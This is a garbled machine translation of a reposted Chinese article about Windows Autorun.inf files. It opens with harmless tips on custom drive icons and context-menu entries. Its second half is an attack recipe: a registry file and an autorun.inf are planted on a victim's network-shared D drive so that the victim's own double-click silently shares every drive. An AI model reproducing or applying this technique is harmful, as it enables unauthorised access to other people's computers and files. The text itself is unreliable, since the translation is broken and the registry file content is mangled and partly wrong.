Autorun.inf file

xiaoxiao2021-03-04  55

Recently, online popularity allows all hard drives that makes all hard drives throughoutorun.inf files, because the application of Autorun.inf files in technology is still rare, the corresponding information is not much, there are many people feel very good. Mysterious, this article tried to solve this fan, so that you can fully understand this is not complicated but extremely interesting technology.

First, theoretical foundation

Friends who often use CD know that there are many discs to play into the optical drive, how do they do? The disc is automatically executed by one of the discs, mainly on two files, one is the autorun.inf file on the disc, and the other is CDVSD.vxd in the system file of the operating system itself. CDVSD.vxd will detect whether there is actions in the disc in the optical drive at any time. If any, you will start looking for the autorun.inf file under the root directory of the CD. If there is an autorun.inf file, execute the preset program inside.

Autorun.inf is not only allowed to automatically run the program, and the hard disk can be automatically run, the method is simple, first open the notepad, then right-click this file, select "Rename" in the pop-up menu, change the name to Autorun.inf, type the following in autorun.inf:

[Autorun] // Indicates the Autorun section, you must enter icon = c: /c.ico // give C.ICO Open = C: /1.exe // Specify the program to run the program Path and name, here is the 1.exe under C

Save the file, press F5 to refresh the desktop, then look at the disk in "My Computer" (in this C drive), you will find that its disk icon is changed, double-click to enter the C drive, will also play the C disk automatically The next 1.exe file!

Explain: "[Autorun]" line is a must-have fixed format, "icon" line corresponds to the icon file, "c: /c.ico" is the icon file path and file name, you can change it when entering it. The path and file name of your image file. In addition, ". ICO" is an extension of the icon file. If you don't have such a file in your hand, you can use the picture software ACDSEE to convert other formatted software to the ICO format, or find a file named BMP file, will It can be renamed it directly to the ICO file.

"Open" line Specifies the files to be automatically run and their drive characters and paths. To specifically, if you want to change the hard disk without automatic play files, you should delete the "open" line, otherwise you will not open the hard disk because you can't find the automatic play file, you can only Right-click the button to select "Open" in the pop-up menu.

Please note that the saved file name must be "autorun.inf", preparing the autorun.inf file and the icon file must be placed in the root directory of the hard disk. Further, if your hard disk content is temporarily fixed, use flash to make an automatic play file, then edit the "autorun" file, then you have the coolest, the most personal hard drive.

I haven't finished here. Everyone knows that after some disc is put, we click on the right mouse button on its icon, and it will also have a characterful directory menu. If you can click on our hard drive to click on the mouse button, this effect is generated, which will be more special. In fact, the optical disc can have such an effect is just because there are two statements in the autorun.inf file:

Shell / Sign = Show mouse mole menu

Shell / Sign / Command = The file or command line to be executed

So, let the hard disk have a characterful directory menu, add the above statement in the autorun.inf file, as follows: shell / 1 = day, the old shell / 1 / command / = Notepad ok.txt saves, Press F5 to refresh, then right-click the hard disk icon, you will find "Tian Ruo Skyland" in the pop-up menu (Figure 1), click on it, automatically open the "ok.txt" file in the hard disk. Note: The above example assumes that the "ok.txt" file is in the root directory of the hard disk, NOTEPAD comes with the system. If the file to be executed is direct executable, add the executor file name directly after "Command /".

figure 1

Second, instance

Let's take an example: If you sweep it to a 139-shared machine, and the other party only has a D disk, we want to share all the drives of all the drivers. First edit a registry file, open Notepad, type the following:

Regedit4 'This must be empty [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Network / LanMan / C $] "PATH" = "C: //" "=" "" "=" = "" "= DWORD: 00000000" Flags "= DWORD: 00000302" PARMLENC "= HEX:" PARM2ENC "= HEX:

[HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Network / Lanman / D $] = "D: //" "" = "=" = DWORD: 00000000 "Flags" = dword: 00000302 "PARMLENC "= HEX:" PARM2ENC "= HEX:

[HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Network / Lanman / C $] = "E: //" "" "=" "" = dword: 00000000 "Flags" = dword: 00000302 "PARMLENC "= HEX:" PARM2ENC "= HEX:

I only set to the E disk, if the other party has a lot of logical tricks, please set it. Save the above part as a Share.REG file standby. Pay special attention to regedit4 for uppercase and the top of the top, after which it is to be empty, and in the last line, I will remember to press the Enter key.

Then open the notepad, prepare an autorun.inf file, type the following:

[Autorun] open = regedit / s Share.REG / / Plus / S parameter does not display any information when importing

Save the autorun.inf file. Both files of Share.REG and Autorun.inf to the root of the other party's D disk, so that the other party will import Share.reg to the registry as long as the D disk is double-tapping, so that all drives will be all driven after the other computer is restarted. Completely shared.

转载请注明原文地址:https://www.9cbs.com/read-31667.html

New Post(0)